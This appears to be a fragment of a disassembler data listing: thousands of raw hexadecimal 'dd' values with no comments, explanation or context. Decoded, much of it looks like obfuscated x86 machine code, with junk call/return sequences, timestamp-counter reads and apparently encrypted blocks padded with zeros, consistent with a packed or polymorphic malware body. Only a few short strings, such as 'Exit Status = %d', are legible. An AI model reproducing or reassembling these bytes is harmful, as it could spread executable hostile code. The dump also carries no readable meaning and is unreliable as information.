		dd 0C4EF6E09h, 0FB28A1Fh, 0BE9CEh, 1C1F0000h, 705FE20Ch
		dd 7F74FEC4h, 800F5847h, 5, 91A3D7BAh, 67C0812Eh, 51000074h
		dd 59D6BF0Fh, 2FB932BEh, 0DDF68161h, 60612FA5h,	0DBC8B5B8h
		dd 0CEBF0F1Dh, 66188B61h, 0C381D38Bh, 0ECE3188h, 0AE96051h
		dd 48000000h, 0B0A53E5Dh, 0CD634F75h, 615A5102h, 16C3815Fh
		dd 666404C7h, 81E024BFh, 85E15AF3h, 56188933h, 5B15EA81h
		dd 815F52B9h, 0FC4785E8h, 0E8816024h, 451FD04Eh, 0BA32F381h
		dd 81615EAFh, 0FC4781C0h, 83E1B124h, 850F01EEh,	0FFFFFFA1h
		dd 4C78166h, 1504EB22h,	0E9000002h, 670h, 4599D89h, 0F5600629h
		dd 1ED9BD29h, 0B80629h,	89000000h, 2908D1BDh, 24548B06h
		dd 0F5BD8928h, 89062925h, 2915E985h, 0B1B53106h, 60062905h
		dd 28219509h, 0F08B0629h, 3CBE61h, 31600000h, 2904C185h
		dd 8767BB06h, 3615775h,	0E9242474h, 0Ah, 0C10BD93Fh, 79D69345h
		dd 0AD664187h, 0F9BE6660h, 0E08166E8h, 361FF39h, 1242444h
		dd 29104DB5h, 8B666006h, 61C88BD8h, 50616090h, 0CE9h, 0F6CD0F00h
		dd 6C6E07Eh, 2B0D5CC6h,	6E99061h, 4D000000h, 15F54F97h
		dd 78408B1Dh, 244403F9h, 1D8D8928h, 8B062914h, 40FC1840h
		dd 14E960h, 182D0000h, 25E9C30h, 9E20A020h, 0A3B8E815h
		dd 0F49F975Dh, 0D781B6F9h, 299F4013h, 63858961h, 0F06293Bh
		dd 0D84h, 0BD896000h, 629073Dh,	1FF38166h, 0E9586183h
		dd 5, 44EDF1BEh, 78708BEBh, 1CC683F8h, 6820Fh, 9D010000h
		dd 6291115h, 0EE960h, 9E700000h, 0EFAAAE25h, 66995B00h
		dd 73A8D9Ah, 361E18Ah, 0F242474h, 683h,	6D953100h, 8D062907h
		dd 292AF9BDh, 0B840F06h, 60000000h, 2625B58Bh, 0C8800629h
		dd 0E9AD61CEh, 7, 0C636CBAAh, 3C0DE8Ch,	0F242444h, 0C85h
		dd 6830F00h, 89000000h,	2914DD95h, 6E9AB06h, 0B4000000h
		dd 0E1D366D0h, 49BD8DF2h, 0FC062910h, 0A7D9529h, 0F8AD0629h
		dd 24244403h, 525050F8h, 61605250h, 6160310Fh, 310F585Ah
		dd 0BE860h, 6A770000h, 0D1091416h, 9015F632h, 5A615E76h
		dd 24048958h, 34F5BD89h, 0F9AB0629h, 13E860h, 0EDC90000h
		dd 88A98F8Ch, 899C3179h, 6252799Bh, 8728E4A6h, 8E906h
		dd 0FE1D0000h, 303DC193h, 665F574Bh, 61090DBBh,	3381BD8Dh
		dd 0ADF50629h, 244403F5h, 199D2928h, 0F9062932h, 4DBD29ABh
		dd 5E062928h, 13C98501h, 8DFF0629h, 6293B63h, 3B63BD83h
		dd 75000629h, 2444C710h, 1Ch, 0B8B58D00h, 0FF06293Fh, 3AD56E6h
		dd 97282444h, 858ADF8Bh, 6291B59h, 474C084h, 4C75073Ah
		dd 0AEC03257h, 2B5EFD75h, 33FC52FBh, 0D18B49C9h, 0DB33C033h
		dd 8AC132ACh, 8AEA8ACDh, 6608B6D6h, 0D166EBD1h,	660973D8h
		dd 66504135h, 5449F381h, 0EB75CEFEh, 0D333C833h, 0F7D5754Fh
		dd 8BD1F7D2h, 10C0C1C2h, 5AC18B66h, 0F74D03Bh, 4C6835Eh
		dd 15E985FFh, 6FE90629h, 5EFFFFFFh, 9E9h, 583C9700h, 0B5F2D0E0h
		dd 8BFCA8F2h, 2915E985h, 0AD9D8906h, 0D106292Dh, 0D1BD31E0h
		dd 3062914h, 29338185h,	0EDBD2906h, 0F062908h, 68Eh, 59858900h
		dd 2B06291Fh, 0DF8B60F6h, 10B19589h, 0E9610629h, 10h, 93B41A74h
		dd 796C5C57h, 7437FF4Dh, 0F2FE1A86h, 0EE996h, 9FF30000h
		dd 1FE78470h, 0F8B1CAF7h, 0E7E433BDh, 0B501AD66h, 6290071h
		dd 3102E0C1h, 292C45B5h, 0D19D8906h, 3062915h, 292AF985h
		dd 0E1858906h, 96062904h, 1890Fh, 0FF50000h, 68Dh, 0ED9D0900h
		dd 0AD062932h, 89D78B60h, 2929A98Dh, 4C8B6106h,	9E92424h
		dd 0
		dd 0FF662426h, 23EE9716h, 244403F9h, 4489F924h,	95891C24h
		dd 6293285h, 14E996h, 4FE50000h, 0ED646B53h, 4B1FCB39h
		dd 0C61C3944h, 732E6D9Ah, 0FAC0E04h, 0E80h, 8C0F6000h
		dd 0
		dd 57D958Bh, 32610629h,	0F98589C9h, 0FE06292Ch,	68F0FC1h
		dd 9000000h, 292105B5h,	0FD0D006h, 9383h, 298D8900h, 0D006292Ah
		dd 85830FD0h, 60000000h, 9DF08166h, 61CC8AB5h, 820FD0D0h
		dd 74h,	0DD8D29F5h, 0D006291Dh,	65820FD0h, 0F9000000h
		dd 0CF816660h, 0F5B889D0h, 61516F88h, 890FC9FEh, 0FFFFFFB5h
		dd 0C18D29FCh, 8306290Ah, 858920C4h, 62933B5h, 18A0Fh
		dd 0C7F90000h, 0FC2444h, 29000000h, 29235D95h, 1B806h
		dd 0B5890000h, 6293315h, 6FFB8D8Dh, 66600629h, 8BCA0FB8h
		dd 2916A985h, 0E1FF6106h, 6860Fh, 8B600000h, 615851CBh
		dd 1B5985C6h, 89000629h, 291F619Dh, 8D896106h, 6291FBDh
		dd 890008C2h, 292A658Dh, 53609606h, 0BB5A6160h,	25F6C997h
		dd 8E95061h, 0F1000000h, 0D53648C8h, 968BF08Ah,	0AFB589F5h
		dd 89062941h, 2915A18Dh, 0BB8D8906h, 60062941h,	1FD19D8Bh
		dd 0E8560629h, 10h, 0A99C518Dh,	53C6D74Fh, 4D4A0130h, 9230EE52h
		dd 8D615A5Ah, 29407FB5h, 958B6006h, 6292ADDh, 8E9h, 17901C00h
		dd 9EC6A86Bh, 858D6123h, 5B8EA1h, 12E9h, 57ED0200h, 4C432C46h
		dd 2C44D062h, 77507439h, 0FFDFE7C4h, 699509D0h,	5E062906h
		dd 9E9h, 26056A00h, 3DCB67D7h, 0BD89B2C2h, 6292FC5h, 19501C3h
		dd 8B062914h, 2941AFB5h, 91BD8906h, 89062909h, 29317995h
		dd 0BB8D8B06h, 1062941h, 2933A19Dh, 0A5958906h,	2B062932h
		dd 1DBD01C0h, 0E9062933h, 10h, 0AFCA1D97h, 4FD3344Bh, 0E6C418D1h
		dd 0EB80364Dh, 9589D98Bh, 6290DF1h, 0CEE9h, 0B9950900h
		dd 32062925h, 2B2F826h,	0DB816660h, 0EE99839h, 8C000000h
		dd 0F374129Bh, 4D6F84B8h, 0C4CC5B25h, 0E9F9611Ah, 78h
		dd 29399D29h, 0C2320629h, 2431BD89h, 9D290629h,	6292C95h
		dd 751D7A05h, 14E98Ah, 1DA10000h, 0A50059E4h, 60ED5502h
		dd 1499094Ch, 4D9C156Ah, 0CC8A3004h, 0AE9h, 20ED1500h
		dd 347EE2A5h, 89DC1044h, 291F31BDh, 0F8C8D306h,	0D1084235h
		dd 13E96098h, 0DD000000h, 0BCF94A75h, 0D28985h,	2E724824h
		dd 0F4BC92CAh, 13BEB904h, 6139C820h, 9D29CAFEh,	6290499h
		dd 850FD20Ah, 0FFFFFF86h, 0BD895360h, 6290951h,	4B61F95Ah
		dd 0BE9h, 89F77400h, 87425E5Ch,	1F36B40h, 0F59D8946h, 0B062933h
		dd 30850FDBh, 0F8FFFFFFh, 5E9CFh, 3E9D0000h, 42D8E5h, 0F900h
		dd 398531F5h, 62931h, 6E900h, 70E10000h, 691FB956h, 6800Fh
		dd 95890000h, 6292779h,	85890000h, 629047Dh, 3B72858Dh
		dd 5E90629h, 0D5000000h, 7E2E3EA4h, 10E95360h, 4E000000h
		dd 6C03F3ADh, 46BDDD56h, 5F885F6Ah, 59F6ABC6h, 3276BF66h
		dd 6D858961h, 29062904h, 290EE19Dh, 0D5858D06h,	0E906293Fh
		dd 0Fh,	58F508EEh, 98115843h, 9940E536h, 89EA9F4Dh, 2910F585h
		dd 14EB06h, 3 dup(0)
		dd 85000000h, 8D000000h, 29430385h, 51858906h, 8306290Dh
		dd 294243BDh, 840F0006h, 123h, 1B5985C6h, 0E8560629h, 4
		dd 0D41F6D39h, 24448B50h, 89008B04h, 58042444h,	2639B5FFh
		dd 858D0629h, 6293B72h,	8589D0FFh, 6294237h, 1B5985C6h
		dd 68560629h, 80794380h, 0D2243481h, 0FF1CD1FBh, 292639B5h
		dd 72858D06h, 0FF06293Bh, 3B8589D0h, 6A062942h,	971F6804h
		dd 481BF88h, 7778E124h,	47858B40h, 5062942h, 1F4h, 5002E0C1h
		dd 6A240489h, 3B95FF00h, 89062942h, 29423F85h, 0B8D88B06h
		dd 0FFFFFFFFh, 0D5195FFh, 0C38B0629h, 0D5195FFh, 84E90629h
		dd 83000000h, 294243BDh, 850F0006h, 1, 0BD8B57C3h, 629423Fh
		dd 3F8583ABh, 4062942h,	0BD83C35Fh, 6294243h, 1850F00h
		dd 0C3000000h, 3FAD8360h, 4062942h, 423F9D8Bh, 7B830629h
		dd 850FFFFCh, 1Dh, 9F6CB668h, 24348141h, 419FECB6h, 33FF006Ah
		dd 423795FFh, 0C3610629h, 1DE9h, 6C676800h, 34810426h
		dd 26EC6724h, 0FF006A04h, 3795FF33h, 83062942h,	29423FADh
		dd 0B1E90406h, 48FFFFFFh, 9D3E9h, 152AE400h, 0D624E87Eh
		dd 8918FB6h, 0D42EF61Dh, 0CF31CB73h, 5513CABBh,	0E3E36068h
		dd 32D60593h, 150CB9C7h, 0DA66E373h, 5A869DBEh,	0D33CE74Eh
		dd 0A07AC436h, 5F19BAD8h, 0EFE27D7Ch, 30D605C1h, 150FB6C1h
		dd 0C566F973h, 5A9987A3h, 0C822FB50h, 0CB74D021h, 48558EBBh
		dd 0A2F37D78h, 25980493h, 1519A2C1h, 0C429FF6Ah, 549989A3h
		dd 63h dup(0)
		dd 152AE400h, 0CA28E277h, 5A8687A5h, 0C020EC4Dh, 8A39C821h
		dd 1A068BBDh, 0ADE26B7Fh, 29D716C1h, 474BB3C0h,	0CA28E36Fh
		dd 13D48FBFh, 0C836BE53h, 0D974DB26h, 5F0199ACh, 0CE8D2070h
		dd 3DDD1CB1h, 1547B2DDh, 0CC2AE36Fh, 13D48CB0h,	0D529BE49h
		dd 0C774C43Ch, 481A87B0h, 0ADE62E64h, 39CA5085h, 470AA3DDh
		dd 0CC3FAD6Eh, 0AD49AA4h, 0D528F14Fh, 7AC432h, 48h dup(0)
		dd 152AE400h, 0C027FF79h, 5D868DBAh, 0C83BBE4Eh, 0C274C53Ch
		dd 585599B4h, 0E3E96B78h, 32CD1F87h, 4019F7CAh,	0CD2FE374h
		dd 149DC8B6h, 0D220E71Dh, 0D3278921h, 57109EA6h, 938A0433h
		dd 2FD9158Dh, 404BFBCBh, 0C229E174h, 0E9DC8B5h,	0C83DF81Dh
		dd 0CF39893Eh, 430785B8h, 0A7E96F3Dh, 2FDD02C1h, 4119B6DAh
		dd 0D629F43Ah, 884C8A3h, 0C63DF952h, 873Eh, 61h	dup(0)
		dd 5C2DE400h, 0C066E876h, 0F869ABEh, 0C32AEA4Dh, 0FE748772h
		dd 1A0683BDh, 0A4E87C6Dh, 7CD51193h, 1518B6C6h,	0CD23E878h
		dd 149585F1h, 0CB3AEE54h, 0CE31DD32h, 5E1B8BF5h, 0BAE6633Dh
		dd 51B21583h, 464CA3C7h, 0C528E43Ah, 1F808BB4h,	0DE2DBE59h
		dd 0FC74C873h, 490098BCh, 0E3F5613Dh, 3FD90282h, 1B0FB2C5h
		dd 0CA2ED93Ah, 1392C8A2h, 0D06FFB51h, 0DE73C73Ch, 481A9DF5h
		dd 0ADE62E76h, 2ED71D98h, 0F9CBh, 0E0h dup(0)
		dd 4E4C5700h, 4C446D75h, 7250734Ch, 3000746Fh, 8 dup(0)
		dd 45000000h, 20746978h, 74617453h, 3D207375h, 642520h
		dd 2 dup(0)
		dd 2B99E9h, 9953100h, 0FC062910h, 8B7ED380h, 55006AC0h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 500A5ACDh, 3866570Dh, 0BD831ACFh, 629309Dh, 83097500h
		dd 290075BDh, 13740006h, 0C08B5350h, 1B8h, 449D8D00h, 0FF062BA9h
		dd 83585BD3h, 290075BDh, 11740006h, 1B85350h, 8D000000h
		dd 2BA7F59Dh, 5BD3FF06h, 0AE958h, 9F3A0000h, 109D4A31h
		dd 9F95ACDFh, 12E9h, 0F3EE700h,	4DCBD7FAh, 203DB149h, 77EE0355h
		dd 8B4BCD82h, 0CA8166C0h, 0E9505813h, 0Bh, 0ED33D49Dh
		dd 0C217E15Eh, 5AF5D794h, 1405BD83h, 0F000629h,	19F84h
		dd 8338B600h, 29045DBDh, 840F0006h, 190h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 1Dh, 35C35747h, 21DDF07h
		dd 5DB7071Dh, 7D9D8B83h, 60062918h, 8BD08B66h, 29045D85h
		dd 0DA816606h, 0E8052238h, 0F5000003h, 893CB250h, 0F572404h
		dd 682h, 2D9D8B00h, 5B062930h, 4D47858Dh, 9D290629h, 6292341h
		dd 2CBB6690h, 0E8BB50CEh, 900F25F6h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 1DC35141h, 4AC47CAAh, 8B94CFB2h
		dd 2924059Dh, 15D38006h, 4D25858Dh, 840F0629h, 2, 0E89019B6h
		dd 12h,	995766CCh, 483CA71Ah, 0B1B6DF9Ah, 652B610Ch, 0D78B50B2h
		dd 5250505Ah, 11E9h, 15053300h,	76DC6F6Dh, 0FD3B10F9h
		dd 0AFB8943Dh, 310F2489h, 6A90585Ah, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 2D3C355h
		dd 95FFBBC3h, 6291EEDh,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 19h, 0F9C35242h, 0C2565B97h, 0C483F91Dh, 0DF8B660Ch
		dd 4D25858Dh, 6A0629h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 0E9D643C3h, 6830Fh, 0B5010000h
		dd 629136Dh, 0AE950h, 77590000h, 8EB3B107h, 0EB05E13Ch
		dd 8B240489h, 29311195h, 29026A06h, 29244DBDh, 1495FF06h
		dd 3006AEDh, 291F3995h,	0EB816106h, 33513E61h, 4D5885C7h
		dd 10629h, 9D890000h, 6293399h,	89DF8B50h, 6E92434h, 8B000000h
		dd 4CA2581Eh, 9B589D3h,	6A06294Dh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 9D02C350h
		dd 1530AD8h, 2928558Dh,	0BD835B06h, 6291A29h, 54850F01h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 790CC351h, 2AAD8589h, 0F8830629h
		dd 28850F05h, 8A000000h, 0B8DEh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 0C72EB9C3h
		dd 83AD0BC5h, 291EF9BDh, 840F0006h, 61h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Dh, 0E8C35242h, 0F74D6156h
		dd 4D958AE8h, 95FF6063h, 6291EF9h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 27C35343h, 896040FBh, 291E31BDh
		dd 6DBD8906h, 6106292Ch, 1A35B501h, 8B610629h, 9BD83DFh
		dd 62911h, 3D840Fh, 840F0000h, 0Ch, 6830Fh, 95330000h
		dd 629002Dh, 0B8D98Ah, 6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 0EE9EC357h
		dd 0AABA0664h, 6021429Ah, 8B71C680h, 29182985h,	218D8906h
		dd 8306291Fh, 6A02C0h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 83DA0FC3h, 89D8B70Fh, 294D0185h
		dd 119D8B06h, 0C6062918h, 6AFF00h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 0C6BE9FC3h, 610904C4h
		dd 5985C6FEh, 5306291Bh, 4E8F8h, 48D80000h, 0CE9FCB1h
		dd 31000000h, 0CBF29632h, 5BDAB75Eh, 50F7D04Bh,	0DE9h
		dd 27F57100h, 58C31910h, 0F6FD4A91h, 448B862Eh,	5BB0424h
		dd 8B03D0EBh, 8A525000h, 66310FD7h, 5A5191BAh, 24448958h
		dd 6E804h, 549E0000h, 42809728h, 6486BA66h, 9D29585Ah
		dd 6292485h, 0FFDFB70Fh, 291A99B5h, 0FD9D8B06h,	8D062909h
		dd 2C7BD285h, 0BE806h, 440B0000h, 0AA37B579h, 0CD73ADCEh
		dd 0D68B6692h, 8BD0FF5Bh, 2929F59Dh, 91858906h,	9062905h
		dd 2906D5B5h, 1BB56006h, 15BD8361h, 1062931h, 0D6850Fh
		dd 0E8600000h, 11h, 527D00C1h, 5F4903BEh, 36F67511h, 350AE1FBh
		dd 13E928h, 0E3A80000h,	0A3CA39EAh, 6863837h, 492C3486h
		dd 9980A12h, 9D8B5FBDh,	6290D75h, 0BB666161h, 85C65FBDh
		dd 6291B59h, 0D8D8945h,	0F062920h, 88Bh, 2820F00h, 53000000h
		dd 0EA4F685Bh, 8E98D3Dh, 1000000h, 0C60D59DBh, 81522869h
		dd 0D28D2434h, 0B70F575Dh, 99B5FFDEh, 6A06291Ah, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 8C8BC351h, 4A2831EDh, 0E1BBEFB6h, 8D681459h,	2C7BD285h
		dd 0DA816606h, 0FFF84321h, 0B5160D0h, 2911B1BDh, 850B5A06h
		dd 6290079h, 0DEB70F61h, 5E9006Ah, 0B4000000h, 60E70F41h
		dd 0B589D0FFh, 6292D5Dh, 0D69BD83h, 0F010629h, 0A885h
		dd 8D958B00h, 0F8062929h, 1829858Bh, 10E90629h,	0E5000000h
		dd 4E07EED3h, 5CC06091h, 0A2627667h, 0E9FD1C3Eh, 6Ch, 50A4DE80h
		dd 88C0Fh, 890F0000h, 2, 48946B6h, 0D2816624h, 146AD90Dh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 2AC35141h
		dd 95FF6A24h, 6290591h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 17h, 88C35242h, 8B2209D7h,	2933F995h, 9D8B5806h
		dd 6292E9Dh, 0F003880h,	0FFFF8E85h, 13DA80FFh, 290100C6h
		dd 2911618Dh, 0BD896106h, 6291651h, 0A2CA8166h,	79BD83D5h
		dd 62917h, 4A840Fh, 0BF0F0000h,	66FF6AD1h, 10E6D381h, 59195FFh
		dd 6A0629h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 1C0AFEC3h, 0B8E6C909h, 9D0B0201h,	6290A7Dh
		dd 0FFFFC4E9h, 6E9FFh, 82900000h, 471E2020h, 177985C7h
		dd 10629h, 85890000h, 6290E75h,	4D0D8589h, 85310629h, 6291E79h
		dd 8E890h, 5A20000h, 9449B2Eh, 0FE8E7A1h, 64000000h, 581C2B32h
		dd 8F71D240h, 0C18CBFC4h, 0DE8E540h, 62000000h,	47EBAED4h
		dd 2685D34Ah, 0D1015957h, 505B5B5Ah, 6A90D78Bh,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 0F44BC351h, 18699523h, 6A600629h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 269FC350h
		dd 7C814869h, 958BBD65h, 6290ED9h, 0D280056Ah, 0CA816686h
		dd 858D94E5h, 6294D25h,	0FE8EEB81h, 9D2340C6h, 6290449h
		dd 8912B350h, 952B2404h, 6290445h, 4D15858Dh, 6A0629h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 0B94DBBC3h, 0C9122A4h, 0C880F41h, 0F000000h,	68Ah, 8E0F00h
		dd 89000000h, 29272D9Dh, 8E89006h, 0DF000000h, 1EF40E79h
		dd 0E9A5CAF3h, 5, 0E8136D71h, 0E8505B96h, 11h, 0AD0E8FDh
		dd 38FEA05Eh, 948C84B7h, 5D3CA49h, 0DE9F5h, 0DF610000h
		dd 0DEBD25B7h, 0F155FE07h, 5A9B6A7Ah, 8BB6690h,	599D894Ch
		dd 0FF062900h, 2900BD95h, 8DD78A06h, 2978AA8Dh,	50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 42CBE61Ah, 31DEDFF2h, 74C00B7Bh, 25858D11h, 5006294Dh
		dd 8589D1FFh, 6294D43h,	85C70AEBh, 6294D43h, 0FFFFFFFFh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 4C35343h
		dd 26640E69h, 7A7D18D0h, 1DDDBD89h, 0BA610629h,	26F2E961h
		dd 19D5BA66h, 1B5985C6h, 0F4D0629h, 0B87h, 58C0F00h, 0BB000000h
		dd 309771B5h, 0F4F28C68h, 0E96056D8h, 7, 0CE099B79h, 665B3892h
		dd 613EB8BBh, 2434815Bh, 7CC18424h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 14h, 67C35040h, 1F15958Bh, 81660629h
		dd 0BB6265DAh, 1E2C69B5h, 1195B5FFh, 0BD890629h, 629081Dh
		dd 7BD2858Dh, 6A062Ch, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 12E4BC3h, 66D0FFD8h, 154ECB81h
		dd 11E8h, 32C42400h, 9D40C94Bh,	9998BA1Eh, 4C1E57B5h, 5BF8E56Fh
		dd 326D8589h, 0A7BA0629h, 0C6198E57h, 291B5985h, 0B74506h
		dd 4E8h, 72696900h, 8B66508Eh, 24448BDFh, 8B5A5004h, 8971B300h
		dd 0F042444h, 587h, 0D4DBB00h, 6A580F49h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 4D7AC352h
		dd 0F666D02h, 958BD7BFh, 6292A09h, 1A99B5FFh, 8DFC0629h
		dd 2C7BD285h, 0D2B70F06h, 6AD0FFh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 9190C6C3h, 0DB84E4B2h
		dd 8589B6B2h, 62923EDh,	0D28B89B7h, 0ED7DC281h,	8C667C1Ch
		dd 0CE8D9h, 0CB490000h,	0F12DFE8Fh, 7ED09C22h, 0DE8A061Ah
		dd 4C1F65Ah, 222840Fh, 0DF800000h, 0C5E921h, 0BA660000h
		dd 0B58B0CB4h, 6291E35h, 99DBD89h, 8A0F0629h, 6, 2A199D89h
		dd 0C6810629h, 1180h, 0EE9h, 0CAE0D200h, 69383034h, 12EB5B3Ah
		dd 8386E4E4h, 2911FDBDh, 850F0006h, 1Fh, 0D7E153BBh, 6DE939h
		dd 10E90000h, 31000000h, 3865897Eh, 690E5444h, 14D13A0h
		dd 8307E97Dh, 840F003Eh, 4Fh, 7C5950Bh,	5E80629h, 68000000h
		dd 0DEC7E4Ah, 12E9h, 0CA73D400h, 0C26E1225h, 5CF358C5h
		dd 245C4F28h, 5B591D74h, 319D8B60h, 6A062924h, 0C9B50914h
		dd 0FF062929h, 29059195h, 95896106h, 62907D5h, 0FFFFAEE9h
		dd 659501FFh, 0C706292Bh, 106h,	0D9950B00h, 83062900h
		dd 294D0DBDh, 850F0506h, 148h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 19h, 0BAC35040h,	88535E4Fh, 0DE8B66F3h
		dd 2805958Bh, 8BFC0629h, 2923EDB5h, 13E906h, 17EB0000h
		dd 56912C5Ch, 0C2AAE3E8h, 791D5429h, 335805BCh,	64B911h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 857D45C3h, 0F5AE5FA0h, 0FE83E80h,	0F84h
		dd 0F2816600h, 3DE96D05h, 66000000h, 12A0DA81h,	0C2057E80h
		dd 8E840Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 48B13AC3h, 7DE47179h, 55958B2Eh
		dd 0BA062926h, 139DFB9Fh, 53006A46h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 580AD29Bh
		dd 850F49EEh, 0FFFFFF88h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 19h, 0AFC35747h, 4EFE3E74h, 998D89CAh, 80062908h
		dd 31E904E3h, 60000000h, 27999D8Bh, 61FC0629h, 12A1B589h
		dd 6A0629h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 85895BC3h, 6290ECDh, 8B606058h, 292F659Dh
		dd 358D8B06h, 61062900h, 61F7B70Fh, 1139BD83h, 0F000629h
		dd 10684h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 0E68545Eh, 0E5EBD435h, 0DEBA6623h
		dd 0C6F560DCh, 291B5985h, 6A5406h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 895680C3h, 0D78B668Dh
		dd 72A46168h, 0CE989h, 6560000h, 0E11756D6h, 0B072A28Eh
		dd 3481B2F8h, 3C1A9524h, 9BD8976h, 0F062907h, 68Ah, 0B19D8B00h
		dd 0FF062907h, 291A99B5h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 80AF38C6h
		dd 858D9FC3h, 62C7BD2h,	17F1958Bh, 0B5890629h, 6292E95h
		dd 0D98AD0FFh, 5760006Ah, 8D0Fh, 89580000h, 292F91BDh
		dd 0B5FF6106h, 6291139h, 8B2CEE80h, 2928259Dh, 0E8D0FF06h
		dd 0Dh,	919802A6h, 21EE450Ah, 0CE262ACCh, 6830F71h, 29000000h
		dd 292681B5h, 66615B06h, 0C7A00EBAh, 29133185h,	106h, 6A6000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 0F7A30AC3h, 3A468D6Eh, 399BBA02h, 12685AF5h,	0E8A91F95h
		dd 8, 4A5A8D3Ah, 651DA848h, 0D6E919BBh,	4815A14h, 0E06B6E24h
		dd 47C78056h, 8B66FF6Ah, 5D95FFD8h, 6006290Fh, 6161F9F9h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0FFC35343h
		dd 1651828h, 263D8725h,	89D08B50h, 85312404h, 629129Dh
		dd 621858Bh, 1520629h, 290ED99Dh, 0C00B5A06h, 0D840Fh
		dd 9D890000h, 6292A21h,	0D0D95FFh, 0C7F80629h, 29351185h
		dd 106h, 0E9CBBA00h, 0BD837C37h, 6290AA1h, 0C840F00h, 29000000h
		dd 2904C99Dh, 0AD95FF06h, 83062915h, 292C15BDh,	840F0006h
		dd 12h,	33999D8Bh, 95FF0629h, 6292831h,	102D9D8Bh, 0BD830629h
		dd 6293321h, 4E840F00h,	89000000h, 2932C195h, 61BD8306h
		dd 62926h, 3B850Fh, 95030000h, 62923E9h, 249195FFh, 13E80629h
		dd 5E000000h, 3CED79CCh, 2BCFAFCEh, 2E09A5Bh, 589C2A82h
		dd 0AE8A4C0h, 0A1000000h, 0A3EFE31Bh, 0C9BF274Ah, 8F0F0Ch
		dd 5A000000h, 5DBD835Bh, 62909h, 47840Fh, 81660000h, 661A09F2h
		dd 81A5A1BBh, 29310585h, 400306h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 85F53FA1h
		dd 0A0BF08E8h, 2D11958Bh, 85810629h, 6290DA1h, 4003h, 6A310FFCh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 8F1FC357h, 0C8E72702h, 8D8D6EEEh,	6295C47h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0B4C35646h
		dd 0D8B6A48Dh, 1DE9958Bh, 1890629h, 82AFF381h, 0C233513Ah
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0C9C35545h
		dd 65234E89h, 0D50175FAh, 0BE8h, 40ABA800h, 4DED302Fh
		dd 0A506F7ABh, 64E0BA66h, 659D095Ah, 8B06291Bh,	292DC595h
		dd 4418906h, 2409958Bh,	310F0629h, 1A359D89h, 0DE800629h
		dd 7A8D8D64h, 8A06295Ch, 6A0189DAh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 1F9CC355h
		dd 0A7D8B012h, 0F6B21B0Ah, 1205BD89h, 0D4BA0629h, 3361E202h
		dd 59B589C2h, 89062918h, 0DA8B0441h, 2109BD83h,	0F000629h
		dd 3084h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 0D05D324Eh, 0F7712A29h, 3195FFFCh
		dd 2306291Bh, 292B4195h, 1DBD8306h, 1062928h, 7A850Fh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 90A78EC3h, 87386E48h, 952B3D96h, 62913D9h
		dd 4BE9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
